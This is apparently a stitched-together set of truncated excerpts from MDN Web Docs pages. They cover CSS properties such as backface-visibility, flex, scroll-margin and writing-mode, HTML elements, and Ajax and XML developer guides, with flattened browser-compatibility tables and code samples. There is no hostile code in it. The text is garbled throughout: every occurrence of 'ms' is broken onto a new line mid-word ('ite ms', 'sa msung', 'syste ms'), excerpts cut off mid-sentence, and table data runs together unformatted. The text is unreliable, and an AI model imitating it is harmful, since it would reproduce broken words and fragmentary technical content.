ms, which have no perspective.) syntax /* keyword values */ backface-visibility: visible; backface-visibility: hidden; /* global values */ backface-visibility: inherit; backface-visibility: initial; backface-visibility: unset; the backface-visibility property is specified as one of the keywords listed below.
... transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transfor
ms level 2the definition of 'backface-visibility' in that specification.
border-bottom-width - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-bottom-widthchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support 2.3chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0legend full support full support see also the other border-width-related css properties: border-left-width, border-right-width, border-top-width, and border-width.
border-left-style - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-left-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendered...
...this has been fixed in firefox 50.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
border-left - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-leftchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
border-right-style - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-right-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendere...
...this has been fixed in firefox 50.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
border-right - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-rightchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 9.2safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 14opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
border-top - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborder-topchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
border - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetborderchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3.5safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
box-direction - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbox-direction deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12prefixed full support 12prefixed prefixed im...
...roid full support 14prefixed full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-sa
msung internet android full support 1.0prefixed full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support no support no supportnon-standard.
color-adjust - CSS: Cascading Style Sheets
values economy the user agent is allowed to make adjustments to the element as it dee
ms appropriate and prudent in order to optimize the output for the device it's being rendered for.
... css .my-box { background-color: black; background-image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-ite
ms: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification.
column-count - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcolumn-countchrome full support 50 full support 50 full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12 full support 12...
... 11.1 full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 9 full support 9 full support 1prefixed prefixed implemented with the vendor prefix: -webkit-sa
msung internet android full support 5.0 full support 5.0 full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full supportsee implementation notes.see im...
direction - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdirectionchrome full support 2edge full support 12firefox full support 1ie full support 5.5opera full support 9.2safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
element() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetelement() experimentalchrome no support noedge no support nofirefox full support 57prefixed full support 57prefixed prefixed implemented with the vendor prefix: -moz- no support 29 ...
... no support 4 — 29prefixed notes prefixed implemented with the vendor prefix: -moz-notes -moz-element() is limited to background-image and background.opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportexperimental.
empty-cells - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetempty-cellschrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 4safari full support ...
... 1.2webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 3.1sa
msung internet android full support 1.0legend full support full support ...
flex-shrink - CSS: Cascading Style Sheets
if the size of all flex ite
ms is larger than the flex container, ite
ms shrink to fit according to flex-shrink.
... formal definition initial value1applies toflex ite
ms, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item shrink factor html <p>the width of content is 500px; the flex-basis of the flex ite
ms is 120px.</p> <p>a, b, c have flex-shrink:1 set.
flex - CSS: Cascading Style Sheets
horizontal; overflow: hidden; display: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0; background-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { flex: 1; } by default flex ite
ms don't shrink below their minimum content size.
... formal definition initial valueas each of the properties of the shorthand:flex-grow: 0flex-shrink: 1flex-basis: autoapplies toflex ite
ms, including in-flow pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:flex-grow: as specifiedflex-shrink: as specifiedflex-basis: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:flex-grow: a numberflex-shrink: a numberflex-basis: a length, percentage or calc(); formal syntax none | [ <'flex-grow'> <'flex-shrink'>?
font-feature-settings - CSS: Cascading Style Sheets
the two keywords on and off are synony
ms for 1 and 0 respectively.
...es enabling various font features /* use small-cap alternate glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical for
ms */ .hist { font-feature-settings: "hist"; } /* disable common ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh"...
font-size-adjust - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-size-adjustchrome full support 43disabled full support 43disabled disabled from version 43: this feature is behind the enable experimental web platform features preference.
...ox android full support 4opera android full support 30disabled full support 30disabled disabled from version 30: this feature is behind the enable experimental web platform features preference.safari ios no support nosa
msung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this featu...
font-style - CSS: Cascading Style Sheets
html <header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* a
mstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/a
mstelvar) and is used here under the ter
ms of its license: https://github.com/typenetwork/a
mstelvar/blob/master/ofl.txt */ @font-face { src: url('https://mdn.mozillademos.org/files/16044/a
mstelvaralpha-vf.ttf'); font-family:'a
mstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max...
...-height: 150px; overflow: scroll; } .sample { font: 2rem 'a
mstelvaralpha', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let slantlabel = document.queryselector('label[for="slant"]'); let slantinput = document.queryselector('#slant'); let sampletext = document.queryselector('.sample'); function update() { let slant = `oblique ${slantinput.value}deg`; slantlabel.textcontent = `font-style: ${slant};`; sampletext.style.fontstyle = slant; } slantinput.addeventlistener('input', update); update(); accessibility concerns large sections of text...
font-variant-caps - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-variant-capschrome full support 52edge full support 79firefox full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34 (exclusive):...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios no support nosa
msung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
image-set() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetimage-set()chrome full support 21prefixed full support 21prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 79prefixed full support 79prefixed prefixed implemented with the vend...
...see bug 160934.sa
msung internet android full support 1.5prefixed full support 1.5prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support partial support ...
image() - CSS: Cascading Style Sheets
examples directionally-sensitive images <ul> <li dir="ltr">bullet is a right facing arrow on the left</li> <li dir="rtl">bullet is the same arrow, flipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } in the left-to-right list ite
ms — those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page — the image will be used as-is.
... list ite
ms with dir="rtl" set on the <li> or inheriting the right-to-left directionality from an ancestor, such as documents set to arabic or hebrew, will have the bullet display on the right, horizontally flippled, as if transform: scalex(-1) had been set.
initial - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetinitialchrome full support 1edge full support 13firefox full support 19 full support 19 no support 1 — 24prefixed prefixed implemented with the vendor prefix: -moz-ie ...
... 18firefox android full support 19 full support 19 no support 4 — 24prefixed prefixed implemented with the vendor prefix: -moz-opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
<integer> - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet<integer>chrome full support 1edge full support 12firefox full support 1ie full support 3opera full support 3.5safari full support ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
outline-offset - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetoutline-offsetchrome full support 1edge full support 15firefox full support 1.5ie no support noopera full support 9.5safari full support ...
... 1.2webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support no support no support ...
Guide to scroll anchoring - CSS: Cascading Style Sheets
scroll anchoring is a browser feature that ai
ms to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document.
...this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually changes in ter
ms of how far they have moved through the document.
page-break-after - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpage-break-afterchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full support ...
... full support 18firefox android full support 4notes full support 4notes notes the values avoid, left, and right are unsupported.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
page-break-before - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpage-break-beforechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full support ...
... full support 18firefox android full support 4notes full support 4notes notes the values avoid, left, and right are unsupported.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
right - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrightchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 5safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1sa
msung internet android full support 1.0legend full support full support ...
rotate - CSS: Cascading Style Sheets
the rotate css property allows you to specify rotation transfor
ms individually and independently of the transform property.
...ml { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transfor
ms level 2the definition of 'individual transfor
ms' in that specification.
scale - CSS: Cascading Style Sheets
the scale css property allows you to specify scale transfor
ms individually and independently of the transform property.
...rder-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .scale { transition: scale 1s; } div:hover .scale { scale: 2 0.7; } result specifications specification status comment css transfor
ms level 2the definition of 'individual transfor
ms' in that specification.
scroll-margin-inline-end - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-ite
ms: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline-end: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline-end: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2re
ms outside the inline end edge of the third <div>.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-ite
ms: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
...last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline-start: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline-start: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline start edge of the second <div>, and 2re
ms outside the inline start edge of the third <div>.
scroll-margin-inline - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-ite
ms: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2re
ms outside the inline end edge of the third <div>.
scroll-margin - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-ite
ms: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin: 1rem; } .scroller > div:nth-child(3) { scroll-margin: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the left edge of the second <div>, and 2re
ms outside the left edge of the third <div>.
text-underline-position - CSS: Cascading Style Sheets
aliquam accu
msan tellus ac erat posuere.</p> <p class="vertical">lorem ipsum dolor sit amet, consectetur adipiscing elit.
...aliquam accu
msan tellus ac erat posuere.</p> our css looks like this: p { font-size: 1.5rem; text-transform: capitalize; text-decoration: underline; text-decoration-thickness: 2px; } .horizontal { text-underline-position: under; } .vertical { writing-mode: vertical-rl; text-underline-position: left; } in this example we set both the paragraphs to have a thick underline.
translateZ() - CSS: Cascading Style Sheets
result specifications specification status comment css transfor
ms level 2the definition of 'transform' in that specification.
... editor's draft adds 3d transform functions to the css transfor
ms standard.
transition-delay - CSS: Cascading Style Sheets
the delay may be zero, positive, or negative: a value of 0s (or 0
ms) will begin the transition effect immediately.
... syntax /* <time> values */ transition-delay: 3s; transition-delay: 2s, 4
ms; /* global values */ transition-delay: inherit; transition-delay: initial; transition-delay: unset; values <time> denotes the amount of time to wait between a property's value changing and the start of the transition effect.
translate - CSS: Cascading Style Sheets
the translate css property allows you to specify translation transfor
ms individually and independently of the transform property.
... font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transfor
ms level 2the definition of 'individual transfor
ms' in that specification.
user-select - CSS: Cascading Style Sheets
ecific values */ -moz-user-select: none; -moz-user-select: text; -moz-user-select: all; /* webkit-specific values */ -webkit-user-select: none; -webkit-user-select: text; -webkit-user-select: all; /* doesn't work in safari; use only "none" or "text", or else it will allow typing in the <html> container */ /* microsoft-specific values */ -
ms-user-select: none; -
ms-user-select: text; -
ms-user-select: element; note: user-select is not an inherited property, though the initial auto value makes it behave like it is inherited most of the time.
...plies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | text | none | contain | all examples html <p>you should be able to select this text.</p> <p class="unselectable">hey, you can't select this text!</p> <p class="all">clicking once will select all of this text.</p> css .unselectable { -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .all { -moz-user-select: all; -webkit-user-select: all; -
ms-user-select: all; user-select: all; } result specifications specification status comment css basic user interface module level 4the definition of 'user-select' in that specification.
visibility - CSS: Cascading Style Sheets
collapsed flex ite
ms are hidden, and the space they would have occupied is removed.
... candidate recommendation defines the collapse value as it applies to flex ite
ms.
writing-mode - CSS: Cascading Style Sheets
just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th { background-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -
ms-writing-mode: horizontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -
ms-writing-mode: vertical-lr; } .example.text3 span, .example.text3 { writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; -
ms-writing-mode: vertical-rl; } .example.text4 span, .example.text4 { writing-mode: sideways-lr; -webkit-writing-mo...
...de: sideways-lr; -
ms-writing-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -
ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status comment css writing modes level 4the definition of 'writing-mode' in that specification.
CSS: Cascading Style Sheets
use css to solve common proble
ms this module provides links to sections of content explaining how to use css to solve common proble
ms when creating a web page.
... css key concepts: the syntax and for
ms of the language specificity, inheritance and the cascade css units and values box model and margin collapse the containing block stacking and block-formatting contexts initial, computed, used, and actual values css shorthand properties css flexible box layout css grid layout media queries animation cookbook the css layout cookbook ai
ms to bring together recipes for common layout patterns, things you might need to implement in your sites.
Community - Developer guides
if you know of useful mailing lists, newsgroups, foru
ms, or other communities related to ajax, please link to them here.
... ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax foru
ms and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Getting Started - Developer guides
simple timed xhr example another simple example follows — here we are loading a text file via xhr, the structure of which is assumed to be like this: time: 312.05 time: 312.07 time: 312.10 time: 312.12 time: 312.14 time: 312.15 once the text file is loaded, we split() the ite
ms into an array at each newline character (\n — basically where each line break is in the text file), and then print the complete list of timestamps, and the last timestamp, onto the page.
...on fetchdata() { console.log('fetching updated data.'); let xhr = new xmlhttprequest(); xhr.open("get", "time-log.txt", true); xhr.onload = function() { updatedisplay(xhr.response); } xhr.send(); } function updatedisplay(text) { fulldata.textcontent = text; let timearray = text.split('\n'); // included because some file syste
ms always include a blank line at the end of text files.
Ajax - Developer guides
this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting for
ms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources.
...its primary purpose is to facilitate the sharing of data across different syste
ms, particularly syste
ms connected via the internet.
Audio and video manipulation - Developer guides
the beauty of the web is that you can combine technologies to create new for
ms.
... having native audio and video in the browser means we can use these data strea
ms with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video.
Challenge solutions - Developer guides
you see two ite
ms listed, one that references an internal resource and one that references your stylesheet file.
... solution define a rule for list ite
ms to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your stylesheet to identify the headings with capital letters in parentheses.
DOM onevent handlers - Developer guides
elements can be interactive (links, buttons, images, for
ms, and so forth) or non-interactive (such as the base <body> element).
... let logelement = document.queryselector('div'); let el = document.queryselector("a"); function log(
msg) { logelement.innerhtml += `${
msg}<br>` }; function anchoronclick(event) { log("changed onclick handler") }; // original handler log(`element's onclick as a javascript property: <code> ${el.onclick.tostring()} </code>`); //changing handler using .onclick log('<br>changing onclick handler using <strong> onclick property </strong> '); el.onclick = anchoronclick; log(`changed the property to: <...
Orientation and motion data explained - Developer guides
this article provides details about the coordinate syste
ms at play and how you use them.
... about rotation rotation is described about any given axis in ter
ms of the number of degrees of difference between the device's coordinate frame and the earth coordinate frame, and is measured in degrees.
XHTML - Developer guides
instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising proble
ms.
... the proble
ms are described in more details in the following articles: beware of xhtml by david hammond sending xhtml as text/html considered harmful by ian hickson xhtml's dirty little secret by mark pilgrim xhtml - what's the point?
Parsing and serializing XML - Developer guides
parsing strings into dom trees this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefro
mstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... var dochtml = document.documentelement.innerhtml; as a result, dochtml is a do
mstring containing the html of the contents of the document; that is, the <body> element's contents.
HTML attribute: multiple - HTML: Hypertext Markup Language
keyboard users can select multiple contiguous ite
ms by focusing on the <select> element, selecting an item at the top or bottom of the range they want to select using the up and down cursor keys to go up and down the options.
... the selection of non-contiguous is not as well supported: ite
ms should be able to be selected and deselected by pressing space , but support varies between browsers.
HTML attribute: rel - HTML: Hypertext Markup Language
it is often included by search engine optimizers pretending their link far
ms are not spam pages.
... while this attribute defines the link as being a stylesheet, the interaction with other attributes and other keyter
ms within the rel value impact whether the stylesheet is downloaded and / or used.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
create the manifest file: ffmpeg \ -f webm_dash_manifest -i video_160x90_250k.webm \ -f webm_dash_manifest -i video_320x180_500k.webm \ -f webm_dash_manifest -i video_640x360_750k.webm \ -f webm_dash_manifest -i video_1280x720_1500k.webm \ -f webm_dash_manifest -i my_audio.webm \ -c copy \ -map 0 -map 1 -map 2 -map 3 -map 4 \ -f webm_dash_manifest \ -adaptation_sets "id=0,strea
ms=0,1,2,3 id=1,strea
ms=4" \ my_video_manifest.mpd the -map arguments correspond to the input files in the sequence they are given; you should have one for each file.
... the -adaptation_sets argument assigns them into adaptation sets; for example, this creates one set (0) that contains the strea
ms 0, 1, 2 and 3 (the videos), and another set (1) that contains only stream 4, the audio stream.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
you can use <abbr> in concert with <dfn> to establish definitions for ter
ms which are abbreviations or acrony
ms.
... grammar considerations in languages with grammatical number (that is, languages where the number of ite
ms affects the grammar of a sentence), use the same grammatical number in your title attribute as inside your <abbr> element.
<acronym> - HTML: Hypertext Markup Language
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetacronym deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie full support yesopera full support yessafari fu...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full supportnon-standard.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
if the media has no known end (such as for live strea
ms of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity.
... you can also use the web audio api to directly generate and manipulate audio strea
ms from javascript code rather than streaming pre-existing audio files.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcontent deprecatednon-standardchrome full support 35edge full support 79firefox no support 33 — 59disabled no support 33 — 59disabled disabled from version 33 until version 59 (exclusive): this feature is behind the dom.webcomponents.enabled...
... safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support compatibility unknown compatibility unknownnon-standard.
<form> - HTML: Hypertext Markup Language
(browsers tend to ignore this for suspected login for
ms; see the autocomplete attribute and login fields.) on: the browser may automatically complete entries.
...it must be unique among the for
ms in a document and not an empty string as of html5.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
the html idiomatic text element (<i>) represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical ter
ms, taxonomical designations, among others.
...among the use cases for the <i> element are spans of text representing a different quality or mode of text, such as: alternative voice or mood taxonomic designations (such as the genus and species "homo sapiens") idiomatic ter
ms from another language (such as "et cetera"); these should include the lang attribute to identify the language technical ter
ms transliterations thoughts (such as "she wondered,what is this writer talking about, anyway?") ship or vessel names in western writing syste
ms (such as "they searched the docks for the empress of the galaxy, the ship to which they were assigned.") in earli...
<input type="button"> - HTML: Hypertext Markup Language
value a do
mstring used as the button's label events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a do
mstring that is used as the button's label.
... <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset for
ms, respectively).
<input type="hidden"> - HTML: Hypertext Markup Language
<input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a do
mstring representing the value of the hidden data you want to pass back to the server.
... value the <input> element's value attribute holds a do
mstring that contains the hidden data you want to include when the form is submitted to the server.
<li> - HTML: Hypertext Markup Language
in menus and unordered lists, list ite
ms are usually displayed using bullet points.
...list ite
ms that follow this one continue numbering from the value set.
<listing> - HTML: Hypertext Markup Language
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
